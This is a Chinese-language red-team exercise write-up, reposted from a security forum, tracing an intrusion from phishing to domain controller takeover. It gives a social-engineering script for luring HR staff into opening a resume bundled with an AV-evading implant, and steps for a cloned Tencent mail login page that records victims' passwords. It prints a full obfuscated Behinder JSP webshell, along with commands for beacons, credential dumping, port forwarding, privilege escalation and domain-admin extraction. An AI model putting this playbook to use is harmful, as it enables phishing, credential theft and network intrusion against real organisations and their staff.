文章由作者授权转载,首发于奇安信攻防社区
https://forum.butian.net/share/1955
在线平台搜集,推荐两个好用的平台
https://app.snov.io/
http://www.skymem.info/
一般钓鱼对象选取安全意识比较薄弱的岗位,如客服、招聘 HR,在互联网或招聘 app 上可以搜集到
这次方式是制作简历捆绑马,需要准备 cs 免杀马一枚和一份虚假简历,钓鱼关键是话术
聊天一上来就发个文件,任谁都有警惕性,先加上聊熟了再去发送文件,建立良好关系是第一步,这和谈恋爱是一样的,目的性不能太强
然后就是钓鱼平时先养好微信小号,定期更新朋友圈,这样才显得真实
图标提取
https://github.com/JarlPenguin/BeCyIconGrabberPortable
图标替换
https://github.com/guitarfreak/SetIcon
1、个人邮箱(126 邮箱、qq 邮箱)
优点:注册快捷简单,即开即用
缺点:邮件发送次数限制,敏感关键字屏蔽,极大几率邮件被退信
2、企业邮箱
优点:单次发送数量多,邮件不易被邮件服务器拦截
缺点:需要配置,耗费一定的时间
先看看效果
我搭建使用的是 namesilo+cloudflare + 腾讯企业邮
1、买个与目标相似的域名,这里选用 namesilo,付款可以支付宝比较方便
位置填入 cloudflare 的两个地址,在第二步会有提及
2、cloudflare 添加站点
计划选择免费即可
这两个地址填到第一步 namesilo 的位置
3、企业邮箱点击立即注册
https://work.weixin.qq.com/mail/
注册完成后在管理后台添加注册域名
把记录填入到 cloudflare 的 dns 位置,选择 MX 类型,MX 优先级保持一致即可
搭建好之后便可以开始制作钓鱼邮件了
钓鱼话术参考:主题内容贴近生活,用补贴奖品增加吸引力
注册一个与目标名字相似的域名,解析到 VPS 上,在 VPS 上部署一个伪造页面,这次伪造的是腾讯企业邮
环境搭建:apache+php
PLAINTEXT
1 | 安装php |
更改配置文件 /etc/httpd/conf/httpd.conf
,这里修改 /var/www/mail
为根目录,也可以使用默认配置
寻找需要伪造的站点,这里伪造的是腾讯企业邮,通过 ctrl+s 直接保存 html 相关资源文件至根目录
在根目录下建立一个 php 文件用于接收输入的账号密码,并把结果输出到 result.txt 里
获取参数时参数名要和待伪造的文件内参数名保持一致
将用户登录表单对应的 action 改为的 login.php 文件
搭建完成后,前端抓包测试发现输入的密码全转换为 0,导致后端输出的结果也变为 0
对网站前端 html 文件进行处理,把处理密码 pp 值相关 js 代码进行注释
成功获取到明文密码
在部署过程中可能会碰到乱码的情况,这时候修改 Apache 服务器字符编码即可,相应的资源文件也要以相同编码保存
PLAINTEXT
1 | vi /etc/httpd/conf/httpd.conf |
修改完成后最终结果:
搜集第一批邮箱进行投递,投递完成后等着鱼儿上钩
等鱼儿上钩后,登录 oa 或邮箱系统获取更多员工的邮箱进行二次钓鱼,或者可以利用内网邮箱直接投递
这次演练里由于发送邮件数量较多,很快被管理员发现异常,不过还是上线了几台机器
上线机器后先做好权限维持,等防守人员下班再开扫,先在机器上翻翻文件,抓抓浏览器密码,推荐 HackBrowserData
https://github.com/moonD4rk/HackBrowserData
等下班后直接 fscan 开冲,先低线程扫描横向几台机器,以免跳板机掉了,通过弱口令 root/123456
找到一台 Linux 服务器,通过 Linux 机器进行扫描
扫描结束使用川哥的脚本对 fscan 结果进行处理
PYTHON
1 | import re |
整理后的结果
扫描后发现入口机器位于办公段,与核心服务器区段存在隔离,扫描结果大多无法访问
1、再起一个代理隧道,但是 linux 机器不出网,遂改用其他方法
2、双层代理,可以使用代理链实现
扫描结果看到一个 tomcat 弱密码 admin/admin,感觉有戏,熟悉的部署 war 包环节
制作免杀冰蝎马,默认密码 rebeyond,打成 war 包
PLAINTEXT
1 | jar -cvf shell.war ./shell.jsp |
PLAINTEXT
1 | <%! public byte[] A14I0(String Strings,String k) { try {javax.crypto.Cipher BI3fM5 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");BI3fM5.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}byte[] bytes = (byte[]) Class.forName(ccstr).getMethod("decodeBuffer", String.class).invoke(Class.forName(ccstr).newInstance(), Strings);byte[] result = (byte[]) BI3fM5.getClass()./*Z5Z48C2BT7*/getDeclaredMethod/*Z5Z48C2BT7*/("doFinal", new Class[]{byte[].class}).invoke(BI3fM5,new Object[]{bytes});return result;} catch (Exception e) {e.printStackTrace();return null;} } %><% try { String KP8HYn8 = "e45e329feb5d925b"; session.putValue("u", KP8HYn8); byte[] I934d9i = A14I0 (request.getReader().readLine(),KP8HYn8); java./*Z5Z48C2BT7*/lang./*Z5Z48C2BT7*/reflect.Method A14I0 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Z5Z48C2BT7*/("defineClass",byte[].class,int/**/.class,int/**/.class); A14I0.setAccessible(true); Class i = (Class)A14I0.invoke(Thread.currentThread()./*Z5Z48C2BT7*/getContextClassLoader(), I934d9i , 0, I934d9i.length); Object Q362 = i./*Z5Z48C2BT7*/newInstance(); Q362.equals(pageContext); } catch (Exception e) {response.sendError(404);} %> |
探测一下发现不出网,这里直接使用 CS 自带的 TCP Beacon 正向连接
新建一个 TCP Listener
生成 beacon.exe 到目标机器上运行,使用 connect [ip address] [port] 命令进行正向连接,即可上线
https://github.com/seventeenman/CallBackDump
直接编译生成 360 会报毒,可稍微修改再次编译生成,生成的 VM21-6-8.log 拖回本地解密
PLAINTEXT
1 | CallbackDump.exe to |
PLAINTEXT
1 | dumpXor.exe VM21-6-8.log 1.dmp |
上线 tomcat 机器后,抓取 hash 值通过 cmd5 成功解密
探测端口发现 445 和 3389 是开放的,但是无法连接过去,猜测可能是对部分端口进行限制
使用 netsh 转发到 8888 端口
TEXT
1 | netsh interface portproxy add v4tov4 listenport=8888 listenaddress=192.168.121.132 connectport=3389 connectaddress=192.168.121.132 |
删除 netsh 配置
TEXT
1 | netsh interface portproxy delete v4tov4 listenport=8888 listenaddress=192.168.121.132 protocol=tcp |
RDP 登录到 tomcat 机器上
通过拿到的机器整理出密码本,对内网其他机器进行密码喷射
推荐 crackmapexec 和 railgun
https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/lz520520/railgun
成功通过密码本组合爆破出另一台机器
查看进程发现上面登着域管进程,低权限先提个权
使用下面项目直接到 system
https://github.com/antonioCoco/JuicyPotatoNG
PLAINTEXT
1 | shell JuicyPotatoNG.exe -t * -p "beacon.exe" |
高权限直接注入到域管进程
通过机器上的域管进程导出域管账户 hash,其中有五个域管用户,cmd5 批量解,其中一个域管用户能解出明文信息
PLAINTEXT
1 | net group "domain admins" /domain |
启用禁用的域管账户,通过域管账户登录域控,over!